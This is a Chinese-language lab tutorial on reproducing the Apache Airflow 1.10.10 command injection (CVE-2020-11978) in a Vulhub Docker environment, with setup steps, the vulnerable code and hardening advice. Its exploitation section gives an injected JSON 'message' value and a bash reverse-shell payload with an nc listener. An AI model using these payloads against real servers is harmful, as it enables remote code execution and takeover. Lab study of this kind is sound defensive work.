保姆级教程:用Docker Compose一键复现Apache Airflow 1.10.10命令注入漏洞(CVE-2020-11978)

张开发
2026/4/12 10:49:38 15 分钟阅读

分享文章

保姆级教程:用Docker Compose一键复现Apache Airflow 1.10.10命令注入漏洞(CVE-2020-11978)
从零构建Apache Airflow漏洞靶场CVE-2020-11978实战指南当安全研究员需要验证一个漏洞的真实影响时最有效的方式莫过于亲手搭建环境进行测试。Apache Airflow作为流行的任务调度平台其1.10.10版本存在的命令注入漏洞CVE-2020-11978为学习Web安全提供了绝佳的案例。本文将带你用Docker Compose快速构建隔离的漏洞环境通过可视化界面触发漏洞并深入理解其背后的运作机制。1. 环境准备与部署1.1 基础工具安装确保你的系统已安装以下组件Docker Engine ≥19.03Docker Compose ≥1.25至少4GB可用内存Airflow组件较耗资源验证安装docker --version docker-compose --version1.2 获取漏洞环境推荐使用Vulhub的标准化环境git clone https://github.com/vulhub/vulhub.git cd vulhub/airflow/CVE-2020-11978环境结构说明. ├── docker-compose.yml # 多容器编排配置 ├── airflow.cfg # 调优过的安全配置 └── dags/ # 包含漏洞触发点的示例DAG2. 靶场启动与监控2.1 初始化容器集群分步执行以下命令# 初始化数据库约3-5分钟 docker-compose run airflow-init # 启动所有服务首次启动需下载约2GB镜像 docker-compose up -d服务启动顺序PostgreSQL数据库端口5432Redis缓存端口6379Airflow Web服务端口8080Airflow Worker节点Airflow Scheduler2.2 服务状态检查使用以下命令监控启动进度# 查看容器日志重点观察airflow-webserver docker-compose logs -f airflow-webserver # 检查服务健康状态 docker-compose ps常见启动问题排查现象可能原因解决方案8080端口无响应服务未完全启动等待10-15分钟数据库连接失败PostgreSQL初始化未完成检查airflow-init容器日志CPU占用100%系统资源不足增加Docker内存分配提示首次启动可能需要20分钟以上建议在性能较好的机器上运行3. 漏洞触发与分析3.1 Web界面操作流程访问http://localhost:8080默认账号/密码airflow/airflow在DAG列表找到example_trigger_target_dag切换开关从Off到On点击Trigger DAG→ 选择Trigger w/ config3.2 构造攻击载荷在Configuration JSON中输入{ message: \;touch /tmp/airflow_poc;# }点击触发后通过命令验证结果docker-compose exec airflow-worker ls -la /tmp漏洞原理拆解Airflow的DAG参数通过subprocess.check_output执行未对输入的message参数做过滤分号(;)和引号()突破命令限制最终在Worker节点实现RCE3.3 进阶利用反弹Shell在攻击机假设IP为192.168.1.100执行监听nc -lvnp 9999构造特殊JSON载荷{ message: \;bash -i /dev/tcp/192.168.1.100/9999 01;# }4. 安全加固与清理4.1 官方修复方案升级到Airflow 1.10.11版本修改配置禁用示例DAGload_examples False4.2 环境清理停止并删除所有容器docker-compose down --volumes --rmi all持久化数据清除删除PostgreSQL数据卷清理Docker缓存镜像5. 深度技术解析5.1 漏洞调用链分析# 漏洞代码路径 airflow/example_dags/example_trigger_target_dag.py # 危险代码段 def run_this_func(ds, **kwargs): subprocess.check_output( [bash, -c, fecho {kwargs[dag_run].conf[message]}] )5.2 现代防御方案对比防御层传统方案现代方案输入过滤黑名单过滤白名单校验命令执行subprocess专用SDK权限控制root运行非特权用户5.3 企业级防护建议启用Airflow的RBAC功能部署网络策略隔离Worker节点定期审计自定义DAG文件使用KubernetesExecutor替代Celery在完成漏洞复现后建议进一步研究Airflow的架构设计理解Scheduler与Worker的交互机制。真正的安全不在于漏洞利用本身而在于理解系统弱点并构建防御体系。

更多文章